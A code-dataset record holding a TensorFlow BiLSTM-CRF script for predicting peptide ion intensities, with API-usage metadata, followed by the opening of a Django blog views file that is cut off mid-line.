default=0,help='1=train, 2=test, 0=train and test')\r\n parser.add_argument('--num-iter', type=int, default=100,help='the number of training steps to take')\r\n parser.add_argument('--batch-size', type=int, default=512,help='the number of peptide')\r\n parser.add_argument('--keep-prob', type=float, default=0.5,help='')\r\n parser.add_argument('--learning-rate', type=float, default=1e-3,help='')\r\n parser.add_argument('--input-size', type=int, default=185,help='')\r\n parser.add_argument('--num-classes', type=int, default=10,help='')\r\n parser.add_argument('--output-size', type=int, default=1,help='predict ionic strength')\r\n parser.add_argument('--layer-num', type=int, default=2,help='')\r\n parser.add_argument('--cell-size', type=int, default=650,help='')\r\n parser.add_argument('--intensity_num_label', type=int, default=1, help=\"\") \r\n return parser.parse_args()\r\n\r\nclass LSTM(object):\r\n def __init__(self, args):\r\n self.max_time = tf.placeholder(shape=None,dtype=tf.int32,name='max_time')\r\n self.input_size = args.input_size\r\n self.output_size = args.output_size\r\n self.cell_size = args.cell_size\r\n self.batch_size=tf.placeholder(shape=None,dtype=tf.int32,name='batch_size')\r\n self.layer_num=args.layer_num\r\n self.learning_rate=args.learning_rate\r\n self.num_classes=args.num_classes\r\n self.keep_prob=tf.placeholder(shape=None,dtype=tf.float32,name='keep_prob')\r\n self.seq_length = tf.placeholder(tf.float32,[None],name='seq_length')\r\n #self.batch_size = batch_size\r\n \r\n with tf.name_scope('inputs'):\r\n self.X = tf.placeholder(tf.float32, [None, None, self.input_size], name='X')\r\n self.y = tf.placeholder(tf.int32, [None, None], name='y')\r\n with tf.variable_scope('in_hidden'):\r\n self.add_input_layer()\r\n with tf.variable_scope('LSTM_cell'):\r\n self.add_cell()\r\n with tf.variable_scope('out_hidden'):\r\n self.add_output_layer()\r\n with tf.variable_scope('loss'):\r\n self.add_crf_layer()\r\n with tf.name_scope('train'):\r\n self._params = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES)\r\n #regularization= 0.001* tf.reduce_sum([ tf.nn.l2_loss(v) for v in self._params ])\r\n self.train_op = tf.train.AdamOptimizer(self.learning_rate).minimize(self.loss,var_list=self._params)\r\n def add_input_layer(self,):\r\n l_in_x = tf.reshape(self.X, [-1, self.input_size], name='2_2D') # (batch*n_step, in_size)\r\n Ws_in = self._weight_variable([self.input_size, self.cell_size])\r\n \r\n bs_in = self._bias_variable([self.cell_size,])\r\n with tf.name_scope('Wx_plus_b'):\r\n l_in_y =tf.matmul(l_in_x, Ws_in) + bs_in\r\n self.l_in_y = tf.reshape(l_in_y, [-1, self.max_time, self.cell_size], name='2_3D')\r\n\r\n def add_cell(self):\r\n lstm_fw_cell =tf.nn.rnn_cell.LSTMCell(self.cell_size)\r\n lstm_bw_cell = tf.nn.rnn_cell.LSTMCell(self.cell_size)\r\n\r\n lstm_fw_cell = tf.contrib.rnn.DropoutWrapper(cell=lstm_fw_cell, input_keep_prob=self.keep_prob)\r\n lstm_bw_cell = tf.contrib.rnn.DropoutWrapper(cell=lstm_bw_cell, input_keep_prob=self.keep_prob)\r\n \r\n\r\n mlstm_fw_cell = tf.nn.rnn_cell.MultiRNNCell([lstm_fw_cell] * self.layer_num, state_is_tuple=True)\r\n mlstm_bw_cell = tf.nn.rnn_cell.MultiRNNCell([lstm_bw_cell] * self.layer_num, state_is_tuple=True)\r\n self.seq_length = tf.cast(self.seq_length, tf.int32) \r\n #with tf.name_scope('initial_state'):\r\n # self.cell_init_state = mlstm_cell.zero_state(tf.shape(self.batch_size)[0], dtype=tf.float32)\r\n #lstm_inputs=tf.unstack(self.l_in_y, self.max_time, 1)\r\n (self.output_fw, self.output_bw), self.states = tf.nn.bidirectional_dynamic_rnn(\r\n mlstm_fw_cell,\r\n mlstm_bw_cell,\r\n self.l_in_y,\r\n sequence_length=self.seq_length,\r\n dtype=tf.float32 )\r\n\r\n def add_output_layer(self):\r\n \r\n l_out_x =tf.reshape(tf.concat([self.output_fw, self.output_bw],axis=2), [-1, self.cell_size * 2])\r\n Ws_out = self._weight_variable([self.cell_size*2, self.num_classes])\r\n tf.summary.histogram('Ws_out',Ws_out)\r\n bs_out = self._bias_variable([self.num_classes, ])\r\n tf.summary.histogram('bs_out',bs_out)\r\n with tf.name_scope('Wx_plus_b'):\r\n self.lstm_outputs =tf.matmul(l_out_x, Ws_out) + bs_out\r\n \r\n \r\n\r\n def add_crf_layer(self):\r\n scores = tf.reshape(self.lstm_outputs, [-1, self.max_time, self.num_classes])\r\n\r\n \r\n \r\n if True:\r\n # Linear-CRF.\r\n log_likelihood, self.transition_params = tf.contrib.crf.crf_log_likelihood(scores, tf.reshape(self.y,[-1,self.max_time]),tf.cast(self.seq_length, tf.int32)) #loss=MLP(pred,lable)\r\n\r\n self.loss = tf.reduce_mean(-log_likelihood)\r\n\r\n self.tags, best_score = tf.contrib.crf.crf_decode(scores, self.transition_params, tf.cast(self.seq_length, tf.int32))\r\n\r\n #reshape_label=tf.reshape(tf.cast(self.y,tf.float32),[-1,1])\r\n #reshape_tags=tf.reshape(tf.cast(self.tags,tf.float32),[-1,1])\r\n\r\n\r\n #self.mse_bias=tf.losses.mean_squared_error(reshape_tags,reshape_label)\r\n\r\n #self.loss+=(self.mse_bias*0.1)\r\n\r\n #pred=1/(1+tf.exp(-tf.reshape(tf.cast(self.tags,tf.float32),[-1,1])))\r\n #lable_p=1/(1+tf.exp(-tf.reshape(tf.cast(self.y,tf.float32),[-1,1])))\r\n #cross_entropy = -lable_p * tf.log(pred) -(1-lable_p) * tf.log(1-pred)\r\n #reduce_sum = tf.reduce_sum(cross_entropy, 1)\r\n #rank_loss = tf.reduce_mean(reduce_sum)\r\n #self.loss+=rank_loss\r\n\r\n else:\r\n losses = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=scores,\r\n labels=self.y)\r\n mask = tf.sequence_mask(tf.cast(self.seq_length, tf.int32))\r\n losses = tf.boolean_mask(losses, mask)\r\n self.loss = tf.reduce_mean(losses)\r\n\r\n self.tags = tf.argmax(scores, axis=-1)\r\n self.tags = tf.cast(self.tags, tf.int32)\r\n tf.summary.scalar('loss', self.loss)\r\n tf.add_to_collection('pred_network', self.tags)\r\n \r\n\r\n\r\n #def compute_cost(self,pred,label):\r\n # losses = tf.contrib.nn.seq2seq.sequence_loss_by_example(\r\n # [tf.reshape(pred, [-1], name='reshape_pred')],\r\n # [tf.reshape(label, [-1], name='reshape_target')],\r\n # [tf.ones([self.batch_size * self.max_time], dtype=tf.float32)],\r\n # average_across_timesteps=True,\r\n # softmax_loss_function=self.ms_error,\r\n # name='losses'\r\n # )\r\n # loss = tf.div(\r\n # tf.reduce_sum(losses, name='losses_sum'),\r\n # tf.cast(self.batch_size,tf.float32),\r\n # name='average_loss')\r\n # return loss\r\n #tf.summary.scalar('loss', self.loss)\r\n @staticmethod\r\n def ms_error(labels, logits):\r\n return tf.square(tf.subtract(labels, logits))\r\n\r\n def _weight_variable(self, shape, name='weights'):\r\n #initializer = tf.random_normal_initializer(mean=0., stddev=1.,)\r\n return tf.get_variable(shape=shape, name=name)\r\n\r\n def _bias_variable(self, shape, name='biases'):\r\n #initializer = tf.constant_initializer(0.1)\r\n return tf.get_variable(name=name, shape=shape)\r\n\r\ndef get_batch_peptide(merge_list,_batch_size):\r\n number_of_peptide=len(merge_list[0])\r\n batch_peptide=[]\r\n seq_length=[]\r\n _batch_number=int(number_of_peptide/_batch_size)\r\n for i in range(_batch_number):\r\n batch_peptide.append(merge_list[0][i*_batch_size:(i+1)*_batch_size])\r\n seq_length.append([])\r\n for j in range(len(batch_peptide[i])):\r\n seq_length[len(batch_peptide)-1].append(len(merge_list[0][i*_batch_size+j]))\r\n if _batch_number*_batch_size < number_of_peptide:\r\n seq_length.append([])\r\n batch_peptide.append(merge_list[0][_batch_number*_batch_size:])\r\n for k in range(len(batch_peptide[-1])):\r\n seq_length[len(batch_peptide)-1].append(len(merge_list[0][_batch_number*_batch_size+k]))\r\n _batch_number+=1\r\n return batch_peptide,_batch_number,seq_length\r\n\r\ndef padding_data(data,flag,max_ions_number):\r\n if flag ==1 :\r\n _ydim=data.shape[1]\r\n else:\r\n _ydim=data.shape[0]\r\n #_ydim=data.shape[1]\r\n dv=max_ions_number-data.shape[0]\r\n data=data.tolist()\r\n if dv > 0:\r\n if flag ==1:\r\n data.extend(np.zeros((dv,_ydim)).astype('int32').tolist())\r\n else:\r\n data.extend(np.zeros((dv,)).astype('int32').tolist())\r\n #data.extend(np.zeros((dv,_ydim)).tolist())\r\n return data\r\n\r\ndef model_train(args):\r\n model = LSTM(args)\r\n with tf.Session() as sess:\r\n merged = tf.summary.merge_all()\r\n writer = tf.summary.FileWriter(\"lstm-logs\", sess.graph)\r\n init = tf.global_variables_initializer()\r\n sess.run(init)\r\n #train data\r\n _,_,train_X,train_y,merge_train_list=data.get_discretization_data('data/data_swedcad_mm/am/train_1label.txt',args.num_classes)\r\n print(str(len(merge_train_list[0]))+' train peptides ,DataShape:('+str(np.array(train_X).shape)+str(np.array(train_y).shape)+')')\r\n batch_peptide,_batch_number,seq_length=get_batch_peptide(merge_train_list,args.batch_size)\r\n\r\n #val data\r\n _,_,val_X,val_y,merge_val_list=data.get_discretization_data('data/data_swedcad_mm/am/test_1label.txt',args.num_classes)\r\n print(str(len(merge_val_list[0]))+' val peptides ,DataShape:('+str(np.array(val_X).shape)+str(np.array(val_y).shape)+')')\r\n val_batch_peptide,val_batch_number,val_seq_length=get_batch_peptide(merge_val_list,args.batch_size)\r\n \r\n #if len(seq_length[-1]) < args.batch_size:\r\n # seq_length[-1].extend([0]*(args.batch_size-len(seq_length[-1])))\r\n print('..trainning')\r\n \r\n for Iter in range(args.num_iter):\r\n train_acc=0;train_loss=0\r\n\t\t\t\r\n permutation_batch = np.random.permutation(len(batch_peptide))\r\n suffled_batch_peptide=np.array(batch_peptide)[permutation_batch].tolist()\r\n suffled_seq_length=np.array(seq_length)[permutation_batch].tolist()\r\n\t\t\t\r\n for i,(train_piptide_index) in enumerate(suffled_batch_peptide):\r\n X=[];y=[];\r\n\t\t\t\t\r\n max_ions_number=max(suffled_seq_length[i])\r\n permutation_peptide = np.random.permutation(len(train_piptide_index))\r\n suffled_seq=np.array(suffled_seq_length[i])[permutation_peptide].tolist()\r\n suffled_train_piptide_index=np.array(train_piptide_index)[permutation_peptide].tolist()\r\n\t\t\t\t\r\n #padding_pep_num=args.batch_size-len(train_piptide_index)\r\n for j in range(len(suffled_train_piptide_index)):\r\n train_ion_index=data.get_split_list(suffled_train_piptide_index[j])\r\n X.append(padding_data(train_X[np.array(train_ion_index)],1,max_ions_number))\r\n y.append(padding_data(train_y[np.array(train_ion_index)],0,max_ions_number))\r\n #if padding_pep_num >0:\r\n # for k in range(padding_pep_num):\r\n \r\n # X.append(padding_data(np.zeros((2,args.input_size)),1,max_ions_number))\r\n # y.append(padding_data(np.zeros((2,)),0,max_ions_number))\r\n \r\n feed_dict = {\r\n model.X:np.array(X),\r\n model.y:np.array(y),\r\n model.keep_prob:args.keep_prob,\r\n model.seq_length:suffled_seq,\r\n model.max_time:max_ions_number,\r\n model.batch_size:len(X)\r\n \r\n }\r\n _, loss, state, pred = sess.run(\r\n [model.train_op, model.loss,model.states, model.tags],\r\n feed_dict=feed_dict)\r\n train_loss+=loss \r\n mask = (np.expand_dims(np.arange(max_ions_number), axis=0) < np.expand_dims(suffled_seq, axis=1))\r\n total_labels = np.sum(suffled_seq)\r\n correct_labels = np.sum((np.array(y) == pred) * mask)\r\n accuracy = 100.0 * correct_labels / float(total_labels)\r\n train_acc+=accuracy\r\n val_acc=0;val_loss=0\r\n for i, val_piptide_index in enumerate(val_batch_peptide):\r\n X=[];y=[]\r\n \r\n max_ions_number=max(val_seq_length[i])\r\n for j in range(len(val_piptide_index)):\r\n train_ion_index=data.get_split_list(val_piptide_index[j])\r\n X.append(padding_data(val_X[np.array(train_ion_index)],1,max_ions_number))\r\n y.append(padding_data(val_y[np.array(train_ion_index)],0,max_ions_number))\r\n feed_dict_val = {\r\n model.X:np.array(X),\r\n model.y:np.array(y),\r\n model.keep_prob:args.keep_prob,\r\n model.seq_length:val_seq_length[i],\r\n model.max_time:max_ions_number,\r\n model.batch_size:len(X)\r\n \r\n }\r\n loss_val, pred_val = sess.run([model.loss, model.tags],feed_dict=feed_dict_val)\r\n val_loss+=loss_val\r\n mask = (np.expand_dims(np.arange(max_ions_number), axis=0) < np.expand_dims(val_seq_length[i], axis=1))\r\n total_labels = np.sum(val_seq_length[i])\r\n correct_labels = np.sum((np.array(y) == pred_val) * mask)\r\n accuracy = 100.0 * correct_labels / float(total_labels)\r\n val_acc+=accuracy \r\n #val_acc,val_loss=val(args,model,val_X,val_y,val_batch_peptide,val_seq_length)\r\n print(\"Epoch: %d\" % (Iter+1), \"train loss: %.2f\" % (train_loss/_batch_number),\"train acc: %.2f%%\" % (train_acc/_batch_number))\r\n print(\"Epoch: %d\" % (Iter+1), \"val loss: %.2f\" % (val_loss/val_batch_number),\"val acc: %.2f%%\" % (val_acc/val_batch_number))\r\n result = sess.run(merged, feed_dict)\r\n writer.add_summary(result, Iter)\r\n \r\n #print('Iter[%d/%d],loss[%.4f]' % (Iter+1,args.num_iter,round(loss,4)))\r\n print(\"SaveModel:\",tf.train.Saver().save(sess,'lstm/model/model.ckpt'))\r\n \r\n \r\ndef MSE(label,pred):\r\n return tf.reduce_mean(tf.square(pred-label)) \r\n \r\ndef model_predict(args,kmodel,test_data,merge_test_list,test_label):\r\n print('predicting..')\r\n \r\n print('number of peptide:'+str(len(merge_test_list[0])))\r\n with tf.Session() as session:\r\n batch_peptide,_batch_number,_seq_length=get_batch_peptide(merge_test_list,args.batch_size)\r\n \r\n\r\n saver = tf.train.import_meta_graph('lstm/model/model.ckpt.meta')\r\n saver.restore(session, tf.train.latest_checkpoint('lstm/model/'))\r\n graph=tf.get_default_graph()\r\n inputs_X=graph.get_operation_by_name(\"inputs/X\").outputs[0]\r\n batch_size=graph.get_operation_by_name(\"batch_size\").outputs[0] \r\n keep_prob=graph.get_operation_by_name(\"keep_prob\").outputs[0]\r\n max_time=graph.get_operation_by_name(\"max_time\").outputs[0]\r\n seq_length=graph.get_operation_by_name(\"seq_length\").outputs[0]\r\n\r\n pred_y=tf.get_collection(\"pred_network\")[0]\r\n pred=[];aaa=[]\r\n mse_list=[]\r\n total_labels=0;correct_labels=0\r\n for i,(test_piptide_index) in enumerate(batch_peptide):\r\n X=[];y=[]\r\n _max_ions_number=max(_seq_length[i])\r\n padding_pep_num=args.batch_size-len(test_piptide_index)\r\n for j in range(len(test_piptide_index)):\r\n test_ion_index=get_split_list(test_piptide_index[j])\r\n X.append(padding_data(test_data[np.array(test_ion_index)],1,_max_ions_number))\r\n y.append(padding_data(test_label[np.array(test_ion_index)],0,_max_ions_number))\r\n \r\n\r\n pred_ = session.run(pred_y,feed_dict={\r\n inputs_X: np.array(X),\r\n keep_prob:args.keep_prob,\r\n seq_length:_seq_length[i],\r\n max_time:_max_ions_number,\r\n batch_size:len(X)\r\n })\r\n for k in range(len(X)): \r\n pred.extend(pred_[k][:_seq_length[i][k]])\r\n aaa.extend(y[k][:_seq_length[i][k]])\r\n\r\n mask = (np.expand_dims(np.arange(_max_ions_number), axis=0) < np.expand_dims(_seq_length[i], axis=1))\r\n total_labels += np.sum(_seq_length[i])\r\n correct_labels += np.sum((np.array(y) == pred_) * mask)\r\n \r\n accuracy = 100.0 * correct_labels / float(total_labels)\r\n print(\"test Accuracy: %.2f%%\" % accuracy)\r\n #pred_[pred_>1]=1\r\n #pred_[pred_<0]=0 \r\n #_mse=session.run(MSE(np.reshape(y,(-1,1)),pred_))\r\n #mse_list.append(_mse)\r\n cunt=0;cunt2=0\r\n for i in range(len(aaa)):\r\n if aaa[i]==0:\r\n cunt+=1\r\n if aaa[i]==pred[i]:\r\n cunt2+=1\r\n \r\n print(cunt/len(aaa))\r\n print(cunt2/len(aaa))\r\n predaaa = pd.DataFrame({\"pred\":pred,\"label\":aaa})\r\n predaaa.to_csv('data//SwedCAD_pred2.csv')\r\n min_max_scaler = preprocessing.MinMaxScaler()\r\n pred_minmax = min_max_scaler.fit_transform(pred)\r\n return pred_minmax\r\n\r\ndef get_merge_pred(merge_list,pred,data):\r\n print('get predict spectrum intensity list...')\r\n merge_list.append(data.merge_list_1label(pred))\r\n return merge_list\r\ndef calc_pear(test_idx,peptide,pred,merge_list,pear,data):\r\n \r\n pred_pd=pear.write_pred(test_idx,peptide,pred)\r\n merge_list=get_merge_pred(merge_list,pred_pd,data)\r\n \r\n person_mean=pear.get_pearson(merge_list) \r\n return person_mean\r\n\r\ndef test(args,data,pear):\r\n test_idx,peptide,pred,merge_test_list=model_predict(args,data)\r\n person_mean=calc_pear(test_idx,peptide,pred,merge_test_list,pear,data)\r\n print(person_mean)\r\n\r\ndef main(args,data,pear):\r\n if args.is_train==1:\r\n model_train(args)\r\n elif args.is_train==2:\r\n test(args,data,pear)\r\n else:\r\n model_train(args)\r\n test(args,data,pear)\r\n\r\nif __name__ == '__main__':\r\n args=parse_args()\r\n \r\n data=GetData(args.intensity_num_label)\r\n pear=CalcPerson(args.intensity_num_label)\r\n main(args,data,pear)\r\n ", "sub_path": "lstm/BiLSTM_CRF.py", "file_name": "BiLSTM_CRF.py", "file_ext": "py", "file_size_in_byte": 19636, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "os.environ", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 14, "usage_type": "call"}, {"api_name": "os.sys.path.append", "line_number": 15, "usage_type": "call"}, {"api_name": "os.sys", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 15, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 23, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 39, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 43, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 43, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 47, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 48, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 48, "usage_type": "attribute"}, {"api_name": "tensorflow.name_scope", "line_number": 51, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 52, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 52, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 53, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 53, "usage_type": "attribute"}, {"api_name": "tensorflow.variable_scope", "line_number": 54, "usage_type": "call"}, {"api_name": "tensorflow.variable_scope", "line_number": 56, "usage_type": "call"}, {"api_name": "tensorflow.variable_scope", "line_number": 58, "usage_type": "call"}, {"api_name": "tensorflow.variable_scope", "line_number": 60, "usage_type": "call"}, {"api_name": "tensorflow.name_scope", "line_number": 62, "usage_type": "call"}, {"api_name": "tensorflow.get_collection", "line_number": 63, "usage_type": "call"}, {"api_name": "tensorflow.GraphKeys", "line_number": 63, "usage_type": "attribute"}, {"api_name": "tensorflow.train.AdamOptimizer", "line_number": 65, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 65, "usage_type": "attribute"}, {"api_name": "tensorflow.reshape", "line_number": 67, "usage_type": "call"}, {"api_name": "tensorflow.name_scope", "line_number": 71, "usage_type": "call"}, {"api_name": "tensorflow.matmul", "line_number": 72, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 73, "usage_type": "call"}, {"api_name": "tensorflow.nn.rnn_cell.LSTMCell", "line_number": 76, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 76, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.rnn_cell.LSTMCell", "line_number": 77, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 77, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.rnn.DropoutWrapper", "line_number": 79, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 79, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.rnn.DropoutWrapper", "line_number": 80, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 80, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.rnn_cell.MultiRNNCell", "line_number": 83, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 83, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.rnn_cell.MultiRNNCell", "line_number": 84, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 84, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 85, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 85, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.bidirectional_dynamic_rnn", "line_number": 89, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 89, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 94, "usage_type": "attribute"}, {"api_name": "tensorflow.reshape", "line_number": 98, "usage_type": "call"}, {"api_name": "tensorflow.concat", "line_number": 98, "usage_type": "call"}, {"api_name": "tensorflow.summary.histogram", "line_number": 100, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 100, "usage_type": "attribute"}, {"api_name": "tensorflow.summary.histogram", "line_number": 102, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 102, "usage_type": "attribute"}, {"api_name": "tensorflow.name_scope", "line_number": 103, "usage_type": "call"}, {"api_name": "tensorflow.matmul", "line_number": 104, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 109, "usage_type": "call"}, {"api_name": "tensorflow.contrib.crf.crf_log_likelihood", "line_number": 115, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 115, "usage_type": "attribute"}, {"api_name": "tensorflow.reshape", "line_number": 115, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 115, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 115, "usage_type": "attribute"}, {"api_name": "tensorflow.reduce_mean", "line_number": 117, "usage_type": "call"}, {"api_name": "tensorflow.contrib.crf.crf_decode", "line_number": 119, "usage_type": "call"}, {"api_name": "tensorflow.contrib", "line_number": 119, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 119, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 119, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.sparse_softmax_cross_entropy_with_logits", "line_number": 137, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 137, "usage_type": "attribute"}, {"api_name": "tensorflow.sequence_mask", "line_number": 139, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 139, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 139, "usage_type": "attribute"}, {"api_name": "tensorflow.boolean_mask", "line_number": 140, "usage_type": "call"}, {"api_name": "tensorflow.reduce_mean", "line_number": 141, "usage_type": "call"}, {"api_name": "tensorflow.argmax", "line_number": 143, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 144, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 144, "usage_type": "attribute"}, {"api_name": "tensorflow.summary.scalar", "line_number": 145, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 145, "usage_type": "attribute"}, {"api_name": "tensorflow.add_to_collection", "line_number": 146, "usage_type": "call"}, {"api_name": "tensorflow.square", "line_number": 167, "usage_type": "call"}, {"api_name": "tensorflow.subtract", "line_number": 167, "usage_type": "call"}, {"api_name": "tensorflow.get_variable", "line_number": 171, "usage_type": "call"}, {"api_name": "tensorflow.get_variable", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 207, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 213, "usage_type": "call"}, {"api_name": "tensorflow.summary.merge_all", "line_number": 214, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 214, "usage_type": "attribute"}, {"api_name": "tensorflow.summary.FileWriter", "line_number": 215, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 215, "usage_type": "attribute"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 216, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 220, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 225, "usage_type": "call"}, {"api_name": "numpy.random.permutation", "line_number": 235, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 235, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 236, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 237, "usage_type": "call"}, {"api_name": "numpy.random.permutation", "line_number": 243, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 243, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 244, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 245, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 250, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 251, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 259, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 260, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 271, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 271, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 272, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 273, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 273, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 283, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 284, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 286, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 287, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 296, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 296, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 297, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 298, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 298, "usage_type": "call"}, {"api_name": "tensorflow.train.Saver", "line_number": 308, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 308, "usage_type": "attribute"}, {"api_name": "tensorflow.reduce_mean", "line_number": 312, "usage_type": "call"}, {"api_name": "tensorflow.square", "line_number": 312, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 318, "usage_type": "call"}, {"api_name": "tensorflow.train.import_meta_graph", "line_number": 322, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 322, "usage_type": "attribute"}, {"api_name": "tensorflow.train.latest_checkpoint", "line_number": 323, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 323, "usage_type": "attribute"}, {"api_name": "tensorflow.get_default_graph", "line_number": 324, "usage_type": "call"}, {"api_name": "tensorflow.get_collection", "line_number": 331, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 341, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 342, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 346, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 356, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 356, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 357, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 358, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 358, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 375, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 377, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 377, "usage_type": "name"}, {"api_name": "tools.get_data.GetData", "line_number": 410, "usage_type": "call"}, {"api_name": "tools.pearson.CalcPerson", "line_number": 411, "usage_type": "call"}]} +{"seq_id": "377445186", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom .models import Author, Tag, Category, Post, About\nfrom django.core.paginator import Paginator, PageNotAnInteger, EmptyPage\nfrom .forms import FeedbackForm\nfrom django.contrib import messages\nfrom django.shortcuts import redirect\n\n\n# Create your views here.\ndef index(request):\n recent_posts = Post.objects.order_by('-pub_date')[0:5]\n author = Author.objects.all()\n about_me = About.objects.all()\n url = \"https://www.iameric.net\"\n return render(request, 'blog/index.html', {\n 'author': author,\n 'about_me': about_me,\n 'recent_posts': recent_posts,\n 'url': url,\n })\n\n\n# view function to display a list of posts\ndef blog_home(request):\n recent_posts = Post.objects.order_by('-pub_date')[0:5]\n cates = Category.objects.all()\n tags = Tag.objects.all()\n posts = Post.objects.order_by(\"-id\").all()\n url = \"https://www.iameric.net\"\n paginator = Paginator(posts, 8)\n\n # get the page parameter from the query string\n # if page parameter is available get() method will return empty string ''\n page = request.GET.get('page')\n\n try:\n # create Page object for the given page\n posts = paginator.page(page)\n except PageNotAnInteger:\n # if page parameter in the query string is not available, return the first page\n posts = paginator.page(1)\n except EmptyPage:\n # if the value of the page parameter exceeds num_pages then return the last page\n posts = paginator.page(paginator.num_pages)\n\n return render(request, 'blog/home.html', {\n 'posts': posts,\n 'recent_posts': recent_posts,\n 'cates': cates,\n 'tags': tags,\n 'url': url,\n })\n\n\ndef blog_post_detail(request, pk):\n recent_posts = Post.objects.order_by('-pub_date')[0:5]\n post = 